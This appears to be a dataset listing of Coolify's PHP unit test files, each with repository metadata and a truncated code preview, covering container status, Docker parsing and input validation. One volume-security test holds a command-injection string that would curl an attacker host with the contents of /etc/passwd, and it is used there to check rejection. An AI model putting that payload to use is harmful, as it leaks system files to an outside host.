2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ContainerStatusAggregatorTest.php
tests/Unit/ContainerStatusAggregatorTest.php
<?php use App\Services\ContainerStatusAggregator; use Illuminate\Support\Facades\Log; beforeEach(function () { $this->aggregator = new ContainerStatusAggregator; }); describe('aggregateFromStrings', function () { test('returns exited for empty collection', function () { $result = $this->aggregator->a...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ServiceExcludedStatusTest.php
tests/Unit/ServiceExcludedStatusTest.php
<?php use App\Models\Service; /** * Test suite for Service model's excluded status calculation. * * These tests verify the Service model's aggregateResourceStatuses() method * and getStatusAttribute() accessor, which aggregate status from applications * and databases. This is separate from the CalculatesExcluded...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/GitLsRemoteParsingTest.php
tests/Unit/GitLsRemoteParsingTest.php
<?php uses(\Tests\TestCase::class); it('extracts commit SHA from git ls-remote output without warnings', function () { $output = "196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/master"; preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches); $commit = $matches[1] ?? null; expect($comm...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/DockerImageParserTest.php
tests/Unit/DockerImageParserTest.php
<?php use App\Services\DockerImageParser; it('parses regular image with tag', function () { $parser = new DockerImageParser; $parser->parse('nginx:latest'); expect($parser->getImageName())->toBe('nginx') ->and($parser->getTag())->toBe('latest') ->and($parser->isImageHash())->toBeFalse() ...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/SshMultiplexingDisableTest.php
tests/Unit/SshMultiplexingDisableTest.php
<?php namespace Tests\Unit; use App\Helpers\SshMultiplexingHelper; use Tests\TestCase; /** * Tests for SSH multiplexing disable functionality. * * These tests verify the parameter signatures for the disableMultiplexing feature * which prevents race conditions when multiple scheduled tasks run concurrently. * *...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/PostgresqlInitScriptSecurityTest.php
tests/Unit/PostgresqlInitScriptSecurityTest.php
<?php /** * PostgreSQL Init Script Security Tests * * Tests to ensure PostgreSQL init script management is protected against * command injection attacks via malicious filenames. * * Related Issues: #3, #4 in security_issues.md * Related Files: app/Livewire/Project/Database/Postgresql/General.php */ test('postg...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/CheckForUpdatesJobTest.php
tests/Unit/CheckForUpdatesJobTest.php
<?php use App\Jobs\CheckForUpdatesJob; use App\Models\InstanceSettings; use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\File; use Illuminate\Support\Facades\Http; beforeEach(function () { Cache::flush(); // Mock InstanceSettings $this->settings = Mockery::mock(InstanceSettings::class...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ServiceParserPathDuplicationTest.php
tests/Unit/ServiceParserPathDuplicationTest.php
<?php /** * Unit tests to verify that serviceParser() correctly handles path appending * to prevent duplication when SERVICE_URL/SERVICE_FQDN variables have path values. * * This tests the fix for GitHub issue #7363 where paths like /v1/realtime * were being duplicated on subsequent parse() calls after FQDN updat...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ProxyCustomCommandsTest.php
tests/Unit/ProxyCustomCommandsTest.php
<?php use App\Enums\ProxyTypes; use Symfony\Component\Yaml\Yaml; it('extracts custom proxy commands from existing traefik configuration', function () { // Create a sample config with custom trustedIPs commands $existingConfig = [ 'services' => [ 'traefik' => [ 'command' => ...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/HetznerDeletionFailedNotificationTest.php
tests/Unit/HetznerDeletionFailedNotificationTest.php
<?php use App\Notifications\Server\HetznerDeletionFailed; use Mockery; afterEach(function () { Mockery::close(); }); it('can be instantiated with correct properties', function () { $notification = new HetznerDeletionFailed( hetznerServerId: 12345, teamId: 1, errorMessage: 'Hetzner API...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/CloudInitScriptValidationTest.php
tests/Unit/CloudInitScriptValidationTest.php
<?php // Unit tests for cloud-init script validation logic it('validates cloud-init script is optional', function () { $cloudInitScript = null; $isRequired = false; $hasValue = ! empty($cloudInitScript); expect($isRequired)->toBeFalse() ->and($hasValue)->toBeFalse(); }); it('validates cloud...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/HetznerSshKeysTest.php
tests/Unit/HetznerSshKeysTest.php
<?php it('merges Coolify key with selected Hetzner keys', function () { $coolifyKeyId = 123; $selectedHetznerKeys = [456, 789]; // Simulate the merge logic from createHetznerServer $sshKeys = array_merge( [$coolifyKeyId], $selectedHetznerKeys ); expect($sshKeys)->toBe([123, 45...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ServiceParserPortDetectionLogicTest.php
tests/Unit/ServiceParserPortDetectionLogicTest.php
<?php /** * Unit tests to verify the parser logic for detecting port-specific SERVICE variables. * These tests simulate the logic used in bootstrap/helpers/parsers.php without database operations. * * The parser should detect when a SERVICE_URL_* or SERVICE_FQDN_* variable has a numeric * port suffix and extract ...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/AllExcludedContainersConsistencyTest.php
tests/Unit/AllExcludedContainersConsistencyTest.php
<?php /** * Unit tests to verify consistent handling of all-excluded containers * across PushServerUpdateJob, GetContainersStatus, and ComplexStatusCheck. * * These tests verify the fix for issue where different code paths handled * all-excluded containers inconsistently: * - PushServerUpdateJob (Sentinel, ~30s)...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ValidHostnameTest.php
tests/Unit/ValidHostnameTest.php
<?php use App\Rules\ValidHostname; it('accepts valid RFC 1123 hostnames', function (string $hostname) { $rule = new ValidHostname; $failCalled = false; $rule->validate('server_name', $hostname, function () use (&$failCalled) { $failCalled = true; }); expect($failCalled)->toBeFalse(); })-...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/DockerImageAutoParseTest.php
tests/Unit/DockerImageAutoParseTest.php
<?php use App\Livewire\Project\New\DockerImage; it('auto-parses complete docker image reference with tag', function () { $component = new DockerImage; $component->imageName = 'nginx:stable-alpine3.21-perl'; $component->imageTag = ''; $component->imageSha256 = ''; $component->updatedImageName(); ...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/GetContainersStatusServiceAggregationTest.php
tests/Unit/GetContainersStatusServiceAggregationTest.php
<?php /** * Unit tests for GetContainersStatus service aggregation logic (SSH path). * * These tests verify that the SSH-based status updates (GetContainersStatus) * correctly aggregates container statuses for services with multiple containers, * using the same logic as PushServerUpdateJob (Sentinel path). * * ...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ValidateShellSafePathTest.php
tests/Unit/ValidateShellSafePathTest.php
<?php test('allows safe paths without special characters', function () { $safePaths = [ '/var/lib/data', './relative/path', 'named-volume', 'my_volume_123', '/home/user/app/data', 'C:/Windows/Path', '/path-with-dashes', '/path_with_underscores', ...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ApplicationComposeEditorLoadTest.php
tests/Unit/ApplicationComposeEditorLoadTest.php
<?php use App\Models\Application; use App\Models\Server; use App\Models\StandaloneDocker; use Mockery; /** * Unit test to verify docker_compose_raw is properly synced to the Livewire component * after loading the compose file from Git. * * This test addresses the issue where the Monaco editor remains empty becaus...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ProxyConfigurationSecurityTest.php
tests/Unit/ProxyConfigurationSecurityTest.php
<?php /** * Proxy Configuration Security Tests * * Tests to ensure dynamic proxy configuration management is protected against * command injection attacks via malicious filenames. * * Related Issues: #5 in security_issues.md * Related Files: * - app/Livewire/Server/Proxy/NewDynamicConfiguration.php * - app/...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ValidProxyConfigFilenameTest.php
tests/Unit/ValidProxyConfigFilenameTest.php
<?php use App\Rules\ValidProxyConfigFilename; test('allows valid proxy config filenames', function () { $validFilenames = [ 'my-config', 'service_name.yaml', 'router-1.yml', 'traefik-config', 'my.service.yaml', 'config_v2.caddy', 'API-Gateway.yaml', ...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ApplicationHealthcheckRemovalTest.php
tests/Unit/ApplicationHealthcheckRemovalTest.php
<?php /** * Tests for parseHealthcheckFromDockerfile method * * NOTE: These tests verify the logic for detecting when a HEALTHCHECK directive * is removed from a Dockerfile. The fix ensures that healthcheck removal is detected * regardless of the health_check_enabled setting. */ use App\Models\Application; it(...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/VolumeSecurityTest.php
tests/Unit/VolumeSecurityTest.php
<?php test('parseDockerVolumeString rejects command injection in source path', function () { $maliciousVolume = '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`:/app'; expect(fn () => parseDockerVolumeString($maliciousVolume)) ->toThrow(Exception::class, 'Invalid Docker volume ...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/GlobalSearchNewImageQuickActionTest.php
tests/Unit/GlobalSearchNewImageQuickActionTest.php
<?php /** * Unit tests to verify that the "new image" quick action properly matches * the docker-image type using the quickcommand field. * * This test verifies the fix for the issue where typing "new image" would * not match because the frontend was only checking name and type fields, * not the quickcommand fie...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ServerManagerJobSentinelCheckTest.php
tests/Unit/ServerManagerJobSentinelCheckTest.php
<?php use App\Jobs\CheckAndStartSentinelJob; use App\Jobs\ServerManagerJob; use App\Models\InstanceSettings; use App\Models\Server; use Illuminate\Support\Carbon; use Illuminate\Support\Facades\Queue; use Mockery; beforeEach(function () { Queue::fake(); Carbon::setTestNow('2025-01-15 12:00:00'); // Set to top...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/SanitizeLogsForExportTest.php
tests/Unit/SanitizeLogsForExportTest.php
<?php it('removes email addresses', function () { $input = 'User email is test@example.com and another@domain.org'; $result = sanitizeLogsForExport($input); expect($result)->not->toContain('test@example.com'); expect($result)->not->toContain('another@domain.org'); expect($result)->toContain(REDACT...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/CoolifyTaskCleanupTest.php
tests/Unit/CoolifyTaskCleanupTest.php
<?php use App\Jobs\CoolifyTask; it('CoolifyTask has failed method that handles cleanup', function () { $reflection = new ReflectionClass(CoolifyTask::class); // Verify failed method exists expect($reflection->hasMethod('failed'))->toBeTrue(); // Get the failed method $failedMethod = $reflection-...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ApplicationDeploymentEmptyEnvTest.php
tests/Unit/ApplicationDeploymentEmptyEnvTest.php
<?php /** * Test to verify that empty .env files are created for build packs that require them. * * This test verifies the fix for the issue where deploying a Docker image without * environment variables would fail because Docker Compose expects a .env file * when env_file: ['.env'] is specified in the compose fi...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ServerStatusAccessorTest.php
tests/Unit/ServerStatusAccessorTest.php
<?php use App\Models\Application; use App\Models\Server; /** * Test the Application::serverStatus() accessor * * This accessor determines if the underlying server infrastructure is functional. * It should check Server::isFunctional() for the main server and all additional servers. * It should NOT be affected by ...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/LogViewerXssSecurityTest.php
tests/Unit/LogViewerXssSecurityTest.php
<?php /** * Security tests for log viewer XSS prevention * * These tests verify that the log viewer components properly sanitize * HTML content to prevent cross-site scripting (XSS) attacks. */ describe('Log Viewer XSS Prevention', function () { it('escapes script tags in log output', function () { $m...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/FormatContainerStatusTest.php
tests/Unit/FormatContainerStatusTest.php
<?php describe('formatContainerStatus helper', function () { describe('colon-delimited format parsing', function () { it('transforms running:healthy to Running (healthy)', function () { $result = formatContainerStatus('running:healthy'); expect($result)->toBe('Running (healthy)'); ...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ApplicationServiceEnvironmentVariablesTest.php
tests/Unit/ApplicationServiceEnvironmentVariablesTest.php
<?php /** * Unit tests to verify that Applications using Docker Compose handle * SERVICE_URL and SERVICE_FQDN environment variables correctly. * * This ensures consistency with Service behavior where BOTH URL and FQDN * pairs are always created together, regardless of which one is in the template. */ it('ensures...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/VolumeArrayFormatSecurityTest.php
tests/Unit/VolumeArrayFormatSecurityTest.php
<?php use Symfony\Component\Yaml\Yaml; test('demonstrates array-format volumes from YAML parsing', function () { // This is how Docker Compose long syntax looks in YAML $dockerComposeYaml = <<<'YAML' services: web: image: nginx volumes: - type: bind source: ./data target: /app/...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Jobs/RestartProxyJobTest.php
tests/Unit/Jobs/RestartProxyJobTest.php
<?php namespace Tests\Unit\Jobs; use App\Jobs\RestartProxyJob; use App\Models\Server; use Illuminate\Queue\Middleware\WithoutOverlapping; use Mockery; use Tests\TestCase; /** * Unit tests for RestartProxyJob. * * These tests focus on testing the job's middleware configuration and constructor. * Full integration ...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Project/Database/ImportCheckFileButtonTest.php
tests/Unit/Project/Database/ImportCheckFileButtonTest.php
<?php use App\Livewire\Project\Database\Import; use App\Models\Server; test('checkFile does nothing when customLocation is empty', function () { $component = new Import; $component->customLocation = ''; $mockServer = Mockery::mock(Server::class); $component->server = $mockServer; // No server co...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Livewire/BoardingPrerequisitesTest.php
tests/Unit/Livewire/BoardingPrerequisitesTest.php
<?php use App\Livewire\Boarding\Index; use App\Models\Activity; use App\Models\Server; /** * These tests verify the fix for the prerequisite installation race condition. * The key behavior is that installation runs asynchronously via Activity, * and revalidation only happens after the ActivityMonitor callback. */...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Livewire/EnvironmentVariableAutocompleteTest.php
tests/Unit/Livewire/EnvironmentVariableAutocompleteTest.php
<?php use App\Livewire\Project\Shared\EnvironmentVariable\Add; use Illuminate\Support\Facades\Auth; it('has availableSharedVariables computed property', function () { $component = new Add; // Check that the method exists expect(method_exists($component, 'availableSharedVariables'))->toBeTrue(); }); it('...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Livewire/ApplicationGeneralPreviewTest.php
tests/Unit/Livewire/ApplicationGeneralPreviewTest.php
<?php use App\Jobs\ApplicationDeploymentJob; use App\Livewire\Project\Application\General; it('prevents double slashes in build command preview when baseDirectory is root', function () { // Mock the component with properties $component = Mockery::mock(General::class)->makePartial(); $component->baseDirect...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Livewire/Database/S3RestoreTest.php
tests/Unit/Livewire/Database/S3RestoreTest.php
<?php use App\Livewire\Project\Database\Import; test('buildRestoreCommand handles PostgreSQL without dumpAll', function () { $component = new Import; $component->dumpAll = false; $component->postgresqlRestoreCommand = 'pg_restore -U $POSTGRES_USER -d $POSTGRES_DB'; $database = Mockery::mock('App\Mode...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Actions/User/DeleteUserResourcesTest.php
tests/Unit/Actions/User/DeleteUserResourcesTest.php
<?php use App\Actions\User\DeleteUserResources; use App\Models\Server; use App\Models\Team; use App\Models\User; beforeEach(function () { // Mock user $this->user = Mockery::mock(User::class); $this->user->shouldReceive('getAttribute')->with('id')->andReturn(1); $this->user->shouldReceive('getAttribut...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Actions/Server/ValidatePrerequisitesTest.php
tests/Unit/Actions/Server/ValidatePrerequisitesTest.php
<?php use App\Actions\Server\ValidatePrerequisites; /** * These tests verify the return structure and logic of ValidatePrerequisites. * * Note: Since instant_remote_process is a global helper function that executes * SSH commands, we cannot easily mock it in pure unit tests. These tests verify * the expected ret...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Actions/Server/CleanupDockerTest.php
tests/Unit/Actions/Server/CleanupDockerTest.php
<?php beforeEach(function () { Mockery::close(); }); afterEach(function () { Mockery::close(); }); it('categorizes images correctly into PR and regular images', function () { // Test the image categorization logic // Build images (*-build) are excluded from retention and handled by docker image prune...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Rules/ValidCloudInitYamlTest.php
tests/Unit/Rules/ValidCloudInitYamlTest.php
<?php use App\Rules\ValidCloudInitYaml; it('accepts valid cloud-config YAML with header', function () { $rule = new ValidCloudInitYaml; $valid = true; $script = <<<'YAML' #cloud-config users: - name: demo groups: sudo shell: /bin/bash packages: - nginx - git runcmd: - echo "Hello World" Y...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Notifications/Channels/EmailChannelTest.php
tests/Unit/Notifications/Channels/EmailChannelTest.php
<?php use App\Exceptions\NonReportableException; use App\Models\EmailNotificationSettings; use App\Models\Team; use App\Models\User; use App\Notifications\Channels\EmailChannel; use App\Notifications\Channels\SendsEmail; use Illuminate\Notifications\Messages\MailMessage; use Illuminate\Notifications\Notification; use ...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Api/ApplicationAutogenerateDomainTest.php
tests/Unit/Api/ApplicationAutogenerateDomainTest.php
<?php use App\Models\Server; use App\Models\ServerSetting; beforeEach(function () { // Mock Log to prevent actual logging Illuminate\Support\Facades\Log::shouldReceive('error')->andReturn(null); Illuminate\Support\Facades\Log::shouldReceive('info')->andReturn(null); }); it('generateUrl produces correct U...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Parsers/ApplicationParserImageTagTest.php
tests/Unit/Parsers/ApplicationParserImageTagTest.php
<?php /** * Tests for Docker Compose image tag injection in applicationParser. * * These tests verify the logic for injecting commit-based image tags * into Docker Compose services with build directives. */ it('injects image tag for services with build but no image directive', function () { // Test the condit...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Policies/S3StoragePolicyTest.php
tests/Unit/Policies/S3StoragePolicyTest.php
<?php use App\Models\S3Storage; use App\Models\User; use App\Policies\S3StoragePolicy; it('allows team member to view S3 storage from their team', function () { $teams = collect([ (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']], ]); $user = Mockery::mock(User::class)->makePartial()...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Policies/PrivateKeyPolicyTest.php
tests/Unit/Policies/PrivateKeyPolicyTest.php
<?php use App\Models\User; use App\Policies\PrivateKeyPolicy; it('allows root team admin to view system private key', function () { $teams = collect([ (object) ['id' => 0, 'pivot' => (object) ['role' => 'admin']], ]); $user = Mockery::mock(User::class)->makePartial(); $user->shouldReceive('ge...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false